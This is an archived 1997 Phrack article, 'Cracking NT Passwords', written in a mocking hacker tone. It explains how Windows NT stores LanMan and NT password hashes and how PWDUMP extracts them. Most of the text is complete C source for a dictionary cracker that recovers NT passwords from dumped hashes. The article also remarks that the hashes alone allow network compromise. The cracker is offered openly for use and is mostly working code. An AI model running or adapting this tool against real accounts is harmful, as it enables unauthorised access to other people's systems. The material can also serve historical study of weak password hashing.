home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / nt / crackntpw.txt < prev    next >
Text File  |  1998-03-25  |  16KB  |  549 lines

  1.                                 .oO Phrack 50 Oo.
  2.  
  3.                             Volume Seven, Issue Fifty
  4.  
  5.                                      8 of 16
  6.  
  7. Cracking NT Passwords
  8. by Nihil
  9.  
  10. Recently a breakthrough was made by one of the Samba team members, Jeremy
  11. Allison, that allows an administrator to dump the one-way functions (OWF)
  12. of the passwords for each user from the Security Account Manager (SAM)
  13. database, which is similar to a shadowed password file in *nix terms.  The
  14. program Jeremy wrote is called PWDUMP, and the source can be obtained from
  15. the Samba team's FTP server.  This is very useful for administrators of
  16. Samba servers, for it allows them to easily replicate the user database
  17. from Windows NT machines on Samba servers.  It also helps system 
  18. administrators and crackers in another way: dictionary attacks against
  19. user's passwords.  There is more, but I will save that for later.
  20.  
  21. Windows NT stores two hashes of a user's password in general: the LanMan
  22. compatible OWF and the NT compatible OWF.  The LanMan OWF is generated by
  23. limiting the user's password to 14 characters (padding with NULLs if it is
  24. shorter), converting all alpha characters to uppercase, breaking the 14
  25. characters (single byte OEM character set) into two 7 byte blocks,
  26. expanding each 7 byte block into an 8 byte DES key with parity, and
  27. encrypting a known string, {0xAA,0xD3,0xB4,0x35,0xB5,0x14,0x4,0xEE}, with
  28. each of the two keys and concatenating the results.  The NT OWF is created
  29. by taking up to 128 characters of the user's password, converting it to
  30. unicode (a two byte character set used heavily in NT), and taking the MD4
  31. hash of the string.  In practice the NT password is limited to 14
  32. characters by the GUI, though it can be set programmatically to something
  33. greater in length.
  34.  
  35. The demonstration code presented in this article does dictionary attacks
  36. against the NT OWF in an attempt to recover the NT password, for this is
  37. what one needs to actually logon to the console.  It should be noted that
  38. it is much easier to brute force the LanMan password, but it is only used
  39. in network authentication.  If you have the skillz, cracking the LanMan
  40. password can take you a long way towards cracking the NT password more
  41. efficently, but that is left as an exercise for the reader ;>
  42.  
  43. For those readers wit da network programming skillz, the hashes themselves
  44. are enough to comprimise a NT machine from the network.  This is so because
  45. the authentication protocol used in Windows NT relies on proof of the OWF
  46. of the password, not the password itself.  This is a whole other can of
  47. worms we won't get into here.
  48.  
  49. The code itself is simple and pretty brain dead.  Some Samba source was
  50. used to speed up development time, and I would like to give thanks to the
  51. Samba team for all their effort.  Through the use of, and study of, Samba
  52. several interesting security weaknesses in Windows NT have been uncovered.
  53. This was not the intent of the Samba team, and really should be viewed as
  54. what it is - some lame security implementations on Microsoft's part.  Hey,
  55. what do you expect from the people that brought you full featured (not in a
  56. good way, mind you) macro languages in productivity applications?
  57.  
  58. You will need md4.c, md4.h, and byteorder.h from the Samba source
  59. distribution inorder to compile the code here.  It has been compiled and
  60. tested using Visual C++ 4.2 on Windows NT 4.0, but I see no reason why it
  61. should not compile and run on your favorite *nix platform.  To truly be
  62. useful, some code should be added to try permutations of the dictionary
  63. entry and user name, but again, that is up to the reader.
  64.  
  65. One note: You will want to remove 3 lines from md4.c: the #ifdef SMB_PASSWD 
  66. at the top and corresponding #else and #endif at the bottom...
  67.  
  68. Here ya go:
  69.  
  70. <++> NTPWC/ntpwc.c
  71. /*
  72.  * (C) Nihil 1997. All rights reserved. A Guild Production.
  73.  * 
  74.  * This program is free for commercial and non-commercial use.
  75.  *
  76.  * Redistribution and use in source and binary forms, with or without
  77.  * modification, are permitted.
  78.  *
  79.  * THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND
  80.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  81.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  82.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  83.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  84.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  85.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  86.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  87.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  88.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  89.  * SUCH DAMAGE.
  90.  *
  91.  */
  92.  
  93. /* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */
  94.  
  95.  
  96. /* dictionary based NT password cracker. This is a temporary 
  97.  * solution until I get some time to do something more 
  98.  * intelligent. The input to this program is the output of 
  99.  * Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN 
  100.  * OWF passwords out of the NT registry and a crack style 
  101.  * dictionary file. The output of PWDUMP looks 
  102.  * a bit like UNIX passwd files with colon delimited fields.
  103.  */
  104.  
  105. #include <stdio.h>
  106. #include <stdlib.h>
  107. #include <string.h>
  108. #include <ctype.h>
  109.  
  110. /* Samba headers we use */
  111. #include "byteorder.h"
  112. #include "md4.h"
  113.  
  114. #define TRUE  1
  115. #define FALSE 0
  116. #define HASHSIZE 16
  117.  
  118. /* though the NT password can be up to 128 characters in theory,
  119.  * the GUI limits the password to 14 characters.  The only way
  120.  * to set it beyond that is programmatically, and then it won't
  121.  * work at the console! So, I am limiting it to the first 14
  122.  * characters, but you can change it to up to 128 by modifying
  123.  * MAX_PASSWORD_LENGTH
  124.  */
  125. #define MAX_PASSWORD_LENGTH 14
  126.  
  127. /* defines for Samba code */
  128. #define uchar unsigned char
  129. #define int16 unsigned short
  130. #define uint16 unsigned short
  131. #define uint32 unsigned int
  132.  
  133. /* the user's info we are trying to crack */
  134. typedef struct _USER_INFO
  135. {
  136.     char*            username;
  137.     unsigned long    ntpassword[4];
  138.  
  139. }USER_INFO, *PUSER_INFO;
  140.  
  141. /* our counted unicode string */
  142. typedef struct _UNICODE_STRING
  143. {
  144.     int16*            buffer;
  145.     unsigned long    length;
  146.  
  147. }UNICODE_STRING, *PUNICODE_STRING;
  148.  
  149. /* from Samba source cut & pasted here */
  150. static int _my_mbstowcs(int16*, uchar*, int);
  151. static int _my_wcslen(int16*);
  152.  
  153. /* forward declarations */
  154. void Cleanup(void);
  155. int ParsePWEntry(char*, PUSER_INFO);
  156.  
  157. /* global variable definition, only reason is so we can register an
  158.  * atexit() fuction to zero these for paranoid reasons
  159.  */
  160. char pPWEntry[258];        
  161. char pDictEntry[129];   /* a 128 char password? yeah, in my wet dreams */
  162. MDstruct MDContext;        /* MD4 context structure */
  163.  
  164.  
  165. int main(int argc,char *argv[])
  166. {
  167.     FILE *hToCrack, *hDictionary;
  168.     PUSER_INFO pUserInfo;
  169.     PUNICODE_STRING pUnicodeDictEntry;
  170.     int i;
  171.     unsigned int uiLength;
  172.  
  173.     /* register exit cleanup function */
  174.     atexit(Cleanup);
  175.  
  176.     /* must have both arguments */
  177.     if (argc != 3) 
  178.     {
  179.         printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]);
  180.         exit(0);
  181.     }
  182.  
  183.     /* open password file */
  184.     hToCrack = fopen(argv[1], "r");
  185.     if (hToCrack == NULL)
  186.     {
  187.         fprintf(stderr,"Unable to open password file\n");
  188.         exit(-1);
  189.     }
  190.     
  191.     /* open dictionary file */
  192.     hDictionary = fopen(argv[2], "r");
  193.     if (hDictionary == NULL)
  194.     {
  195.         fprintf(stderr,"Unable to open dictionary file\n");
  196.         exit(-1);
  197.     }
  198.  
  199.     /* allocate space for our user info structure */
  200.     pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));
  201.     if (pUserInfo == NULL)
  202.     {
  203.         fprintf(stderr,"Unable to allocate memory for user info structure\n");
  204.         exit(-1);
  205.     }
  206.  
  207.     /* allocate space for unicode version of the dictionary string */
  208.     pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));
  209.     if (pUnicodeDictEntry == NULL)
  210.     {
  211.         fprintf(stderr,"Unable to allocate memory for unicode conversion\n");
  212.         free(pUserInfo);
  213.         exit(-1);
  214.     }
  215.  
  216.     /* output a banner so the user knows we are running */
  217.     printf("\nCrack4NT is running...\n");
  218.     
  219.     /* as long as there are entries in the password file read
  220.      * them in and crack away */
  221.     while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))
  222.     {
  223.         /* parse out the fields and fill our user structure */
  224.         if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)
  225.         {
  226.             continue;
  227.         }
  228.  
  229.         /* reset file pointer to the beginning of the dictionary file */
  230.         if (fseek(hDictionary, 0, SEEK_SET))
  231.         {
  232.             fprintf(stderr,"Unable to reset file pointer in dictionary\n");
  233.             memset(pUserInfo->ntpassword, 0, HASHSIZE);
  234.             free(pUserInfo);
  235.             free(pUnicodeDictEntry);
  236.             exit(-1);
  237.         }
  238.         
  239.         /* do while we have new dictionary entries */
  240.         while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))
  241.         {
  242.             /* doh...fgets is grabbing the fucking newline, how stupid */
  243.             if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n')
  244.             {
  245.                 pDictEntry[(strlen(pDictEntry) - 1)] = '\0';
  246.             }
  247.  
  248.             /* the following code is basically Jeremy Allison's code written
  249.              * for the Samba project to generate the NT OWF password.  For
  250.              * those of you who have accused Samba of being a hacker's
  251.              * paradise, get a fucking clue.  There are parts of NT security
  252.              * that are so lame that just seeing them implemented in code
  253.              * is enough to break right through them.  That is all that
  254.              * Samba has done for the hacking community.
  255.              */
  256.  
  257.             /* Password cannot be longer than MAX_PASSWORD_LENGTH characters */
  258.             uiLength = strlen((char *)pDictEntry);
  259.             if(uiLength > MAX_PASSWORD_LENGTH)
  260.                 uiLength = MAX_PASSWORD_LENGTH;
  261.  
  262.             /* allocate space for unicode conversion */
  263.             pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);
  264.     
  265.             /* allocate space for it */
  266.             pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);
  267.             if (pUnicodeDictEntry->buffer == NULL)
  268.             {
  269.                 fprintf(stderr,"Unable to allocate space for unicode string\n");
  270.                 exit(-1);
  271.             }
  272.             
  273.             /* Password must be converted to NT unicode */
  274.             _my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);
  275.             /* Ensure string is null terminated */
  276.             pUnicodeDictEntry->buffer[uiLength] = 0; 
  277.             
  278.             /* Calculate length in bytes */
  279.             uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);
  280.  
  281.             MDbegin(&MDContext);
  282.             for(i = 0; i + 64 <= (signed)uiLength; i += 64)
  283.                 MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);
  284.             MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2),(uiLength-i)*8);
  285.  
  286.             /* end of Samba code */
  287.  
  288.             /* check if dictionary entry hashed to the same value as the user's
  289.              * NT password, if so print out user name and the corresponding
  290.              * password
  291.              */
  292.             if (memcmp(MDContext.buffer, pUserInfo->ntpassword, HASHSIZE) == 0)
  293.             {
  294.                 printf("Password for user %s is %s\n", pUserInfo->username, \
  295.                        pDictEntry);
  296.                 /* we are done with the password entry so free it */
  297.                 free(pUnicodeDictEntry->buffer);
  298.                 break;
  299.             }
  300.  
  301.             /* we are done with the password entry so free it */
  302.             free(pUnicodeDictEntry->buffer);
  303.         }
  304.     }
  305.  
  306.     /* cleanup a bunch */
  307.     free(pUserInfo->username);
  308.     memset(pUserInfo->ntpassword, 0, HASHSIZE);
  309.     free(pUserInfo);
  310.     free(pUnicodeDictEntry);
  311.  
  312.     /* everything is great */
  313.     printf("Crack4NT is finished\n");
  314.     return 0;
  315. }
  316.  
  317. void Cleanup()
  318. {
  319.     memset(pPWEntry, 0, 258);
  320.     memset(pDictEntry, 0, 129);
  321.     memset(&MDContext.buffer, 0, HASHSIZE);
  322. }
  323.  
  324.  
  325. /* parse out user name and OWF */
  326. int ParsePWEntry(char* pPWEntry, PUSER_INFO pUserInfo)
  327. {
  328.     int HexToBin(char*, uchar*, int);
  329.     
  330.     char pDelimiter[] = ":";
  331.     char* pTemp;
  332.     char pNoPW[] = "NO PASSWORD*********************";
  333.     char pDisabled[] = "********************************";
  334.  
  335.     /* check args */
  336.     if (pPWEntry == NULL || pUserInfo == NULL)
  337.     {
  338.         return FALSE;
  339.     }
  340.     
  341.     /* try and get user name */
  342.     pTemp = strtok(pPWEntry, pDelimiter);
  343.     if (pTemp == NULL)
  344.     {
  345.         return FALSE;
  346.     }
  347.  
  348.     /* allocate space for user name in USER_INFO struct */
  349.     pUserInfo->username = (char*)malloc(strlen(pTemp) + 1);
  350.     if (pUserInfo->username == NULL)
  351.     {
  352.         fprintf(stderr,"Unable to allocate memory for user name\n");
  353.         return FALSE;
  354.     }
  355.  
  356.     /* get the user name into the USER_INFO struct */
  357.     strcpy(pUserInfo->username, pTemp);
  358.  
  359.     /* push through RID and LanMan password entries to get to NT password */
  360.     strtok(NULL, pDelimiter);
  361.     strtok(NULL, pDelimiter);
  362.  
  363.     /* get NT OWF password */
  364.     pTemp = strtok(NULL, pDelimiter);
  365.     if (pTemp == NULL)
  366.     {
  367.         free(pUserInfo->username);
  368.         return FALSE;
  369.     }
  370.  
  371.     /* do a sanity check on the hash value */
  372.     if (strlen(pTemp) != 32)
  373.     {
  374.         free(pUserInfo->username);
  375.         return FALSE;
  376.     }
  377.  
  378.     /* check if the user has no password - we return FALSE in this case to avoid
  379.      * unnecessary crack attempts
  380.      */
  381.     if (strcmp(pTemp, pNoPW) == 0)
  382.     {
  383.         printf("User %s has no password\n", pUserInfo->username);
  384.         return FALSE;
  385.     }
  386.  
  387.     /* check if account appears to be disabled - again we return FALSE */
  388.     if (strcmp(pTemp, pDisabled) == 0)
  389.     {
  390.         printf("User %s is disabled most likely\n", pUserInfo->username);
  391.         return FALSE;
  392.     }
  393.  
  394.     /* convert hex to bin */
  395.     if (HexToBin((unsigned char*)pTemp, (uchar*)pUserInfo->ntpassword,16) == FALSE)
  396.     {
  397.         free(pUserInfo->username);
  398.         return FALSE;
  399.     }
  400.  
  401.     /* cleanup */
  402.     memset(pTemp, 0, 32);
  403.  
  404.     return TRUE;
  405. }
  406.  
  407.  
  408. /* just what it says, I am getting tired
  409.  * This is a pretty lame way to do this, but it is more efficent than
  410.  * sscanf()
  411.  */
  412. int HexToBin(char* pHexString, uchar* pByteString, int count)
  413. {
  414.      int i, j;
  415.  
  416.      if (pHexString == NULL || pByteString == NULL)
  417.      {
  418.         fprintf(stderr,"A NULL pointer was passed to HexToBin()\n");
  419.         return FALSE;
  420.      }
  421.      
  422.      /* clear the byte string */
  423.      memset(pByteString, 0, count);
  424.      
  425.      /* for each hex char xor the byte with right value, we are targeting
  426.       * the low nibble
  427.       */
  428.      for (i = 0, j = 0; i < (count * 2); i++)
  429.      {
  430.          switch (*(pHexString + i))
  431.          {
  432.             case '0': pByteString[j] ^= 0x00;
  433.                 break;
  434.  
  435.             case '1': pByteString[j] ^= 0x01;
  436.                 break;
  437.  
  438.             case '2': pByteString[j] ^= 0x02;
  439.                 break;
  440.  
  441.             case '3': pByteString[j] ^= 0x03;
  442.                 break;
  443.  
  444.             case '4': pByteString[j] ^= 0x04;
  445.                 break;
  446.  
  447.             case '5': pByteString[j] ^= 0x05;
  448.                 break;
  449.  
  450.             case '6': pByteString[j] ^= 0x06;
  451.                 break;
  452.  
  453.             case '7': pByteString[j] ^= 0x07;
  454.                 break;
  455.  
  456.             case '8': pByteString[j] ^= 0x08;
  457.                 break;
  458.  
  459.             case '9': pByteString[j] ^= 0x09;
  460.                 break;
  461.  
  462.             case 'a':
  463.             case 'A': pByteString[j] ^= 0x0A;
  464.                 break;
  465.  
  466.             case 'b':
  467.             case 'B': pByteString[j] ^= 0x0B;
  468.                 break;
  469.  
  470.             case 'c':
  471.             case 'C': pByteString[j] ^= 0x0C;
  472.                 break;
  473.  
  474.             case 'd':
  475.             case 'D': pByteString[j] ^= 0x0D;
  476.                 break;
  477.  
  478.             case 'e':
  479.             case 'E': pByteString[j] ^= 0x0E;
  480.                 break;
  481.  
  482.             case 'f':
  483.             case 'F': pByteString[j] ^= 0x0F;
  484.                 break;
  485.  
  486.             default: fprintf(stderr,"invalid character in NT MD4 string\n");
  487.                      return FALSE;
  488.          }
  489.  
  490.          /* I think I need to explain this ;) We want to incremet j for every
  491.           * two characters from the hex string and we also want to shift the 
  492.           * low 4 bits up to the high 4 just as often, but we want to alternate
  493.           * The logic here is to xor the mask to set the low 4 bits, then shift
  494.           * those bits up and xor the next mask to set the bottom 4. Every 2
  495.           * hex chars for every one byte, get my screwy logic? I never was
  496.           * good at bit twiddling, and sscanf sucks for efficiency :(
  497.           */
  498.          if (i%2)
  499.          {
  500.             j ++;
  501.          }
  502.          if ((i%2) == 0)
  503.          {
  504.             pByteString[j] <<= 4;
  505.          }
  506.      }
  507.  
  508.      return TRUE;
  509. }
  510.  
  511.  
  512. /* the following functions are from the Samba source, and many thanks to the 
  513.  * authors for their great work and contribution to the public source tree
  514.  */
  515.  
  516. /* Routines for Windows NT MD4 Hash functions. */
  517. static int _my_wcslen(int16 *str)
  518. {
  519.     int len = 0;
  520.     while(*str++ != 0)
  521.         len++;
  522.     return len;
  523. }
  524.  
  525. /*
  526.  * Convert a string into an NT UNICODE string.
  527.  * Note that regardless of processor type 
  528.  * this must be in intel (little-endian)
  529.  * format.
  530.  */
  531.  static int _my_mbstowcs(int16 *dst, uchar *src, int len)
  532. {
  533.     int i;
  534.     int16 val;
  535.  
  536.     for(i = 0; i < len; i++) {
  537.         val = *src;
  538.         SSVAL(dst,0,val);
  539.         dst++;
  540.         src++;
  541.         if(val == 0)
  542.             break;
  543.     }
  544.     return i;
  545. }
  546. <--> NTPWC/ntpwc.c
  547.  
  548. EOF
  549.